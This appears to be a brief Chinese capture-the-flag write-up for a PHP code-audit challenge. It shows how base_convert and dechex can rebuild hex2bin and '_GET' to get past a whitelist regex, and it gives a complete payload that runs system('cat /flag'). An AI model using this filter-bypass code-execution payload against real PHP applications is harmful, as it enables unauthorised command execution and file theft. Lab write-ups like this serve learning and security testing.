1.打开环境,审计代码。
难点在于绕过正则,他会匹配所有字符串,只能用白名单里的字符串,重点在base_convert和dechex函数上,需要构造hex2bin函数来构造特殊字符,构造常量,利用php7的特性进行函数执行。
payload:
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag
//变量名必须用白名单里的函数。
//16进制数不能直接使用,必须转化为10进制避免字符串在进行执行。
//php版本的特性,必须将变量名括起来,不然会被当作字符串执行。